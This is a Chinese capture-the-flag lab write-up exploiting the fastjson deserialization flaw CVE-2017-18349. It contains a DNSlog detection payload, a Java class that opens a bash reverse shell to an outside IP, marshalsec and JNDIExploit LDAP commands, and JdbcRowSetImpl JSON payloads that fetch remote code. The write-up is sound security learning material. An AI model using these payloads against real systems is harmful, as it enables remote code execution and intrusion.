春秋云镜【CVE-2017-18349】fastjson wp
知识点
- fastjson反序列化
- 将json转为java对象的过程
- 漏洞存在版本
- Fastjson<=1.2.24
- 漏洞原理
- fastjson引入的autotype功能,本来是为了区分同名同元素但是不同类型的对象序列化后内容一致无法还原的问题,但是这一操作允许了json数据中通过@type来指定对象类型,在反序列化时会自动加载并实例化这个对象,在实例化对象过程中会触发lookup(),对json数据进行解析后并将得到的值传递给实例化对象的元素,攻击者可以构造恶意的json数据使得其在反序列化时执行恶意的程序
- 参考文章
- Fastjson反序列化漏洞原理与漏洞复现(CVE-2017-18349)-CSDN博客
- Java安全之FastJson JdbcRowSetImpl 链分析 - nice_0e3 - 博客园
解题思路
题目地址:http://eci-2zebk6ey6n2ylyydw5g5.cloudeci1.ichunqiu.com:8080
进入页面有一个输入框,通过输入123回显会发现提示非json格式,构造{123:123}输入发现回显了json数据,说明可能存在fastjson漏洞
构造payload进行检测
{"a":{"@type":"java.net.Inet4Address","val":"91f8688124.ipv6.1433.eu.org."}}
后面的网址为dnslog网站上获取的dns子域名,用于检测是否进行了解析
发现dnslog网站有回显了,说明该json数据被解析执行了,存在fastjson序列化漏洞
既然验证了这里存在fastjson漏洞,那么直接利用该漏洞反弹shell
正常的复现步骤(未成功反弹shell就不截图展示了)
- 编写一个java文件,如GetShell.java;
-
//注意下面的类名应和文件名保持一致,我写的时GetShell,所以文件名为GetShell.java;要不然编译会提示报错 import java.lang.Runtime; import java.lang.Process; public class GetShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/公网IP/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}} }
-
- 将该文件利用javac GetShell.java进行编译成class文件
- 将class文件放到公网服务器中;然后运行http服务使得该文件可以被访问下载
-
python3 -m http.server 8089 py3 python -m SimpleHTTPServer 8088 py2 这里可以指定http服务运行端口,如果不指定的话默认为8000
-
- 使用marshalsec开启ldap服务
-
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.179.128:8000/#GetShell" 9999http://192.168.179.128:8000/#GetShell :为通过http服务下载该class文件的路径 9999 :为ldap/rmi协议远程访问该文件的监听端口通过该命令可以监听是否有远程ldap/rmi服务访问该class文件的动作,如果监听到了请求则使其通过http服务自动下载指定的class文件并执行,以此来达到反弹shell的目的
-
- 根据getshell文件中反弹shell的端口进行监听
-
nc -lvp 6666
-
- 通过bp抓包,构造访问该恶意文件的payload
-
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://公网IP:9999/GetShell","autoCommit":true}}@type:目标反序列化类名; dataSourceName:RMI注册中心绑定恶意服务; autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法
-
- 通过发送该payload就能发现服务端对ldap和http的监听窗口有了远程访问下载的记录,但是我这里一直反弹不了shell,通过查找资料发现可能是由于我的jdk版本过高导致编译成功的class文件没办法目标机上解析并执行
我的解决方法
已经知道了,这里需要利用ldap协议远程下载恶意程序实现反弹shell,那么可以利用Jnid注入工具生成指定的payload,然后让目标机访问该payload也可以实现反弹shell(log4j2漏洞的利用手法)
需要用到的工具:JNDIExploit-1.2-SNAPSHOT.jar
工具放在附件中,具体使用方法可以通过-h参数进行查看
运行该jndi注入工具
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 公网ip运行并监听ldap协议:默认端口为1389,也可以通过 -l 参数指定ldap监听端口通过下面命令可以看payload格式
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u选用这个payload格式可以反弹shell
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
监听6666端口:nc -lvp 6666
构造payload在bp中发送即可成功反弹shell
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://公网ip:1389/Basic/ReverseShell/公网ip/6666","autoCommit":true}}
通过反弹的shell可以成功获取flag
修复建议
将fastjson升级到最新版本
10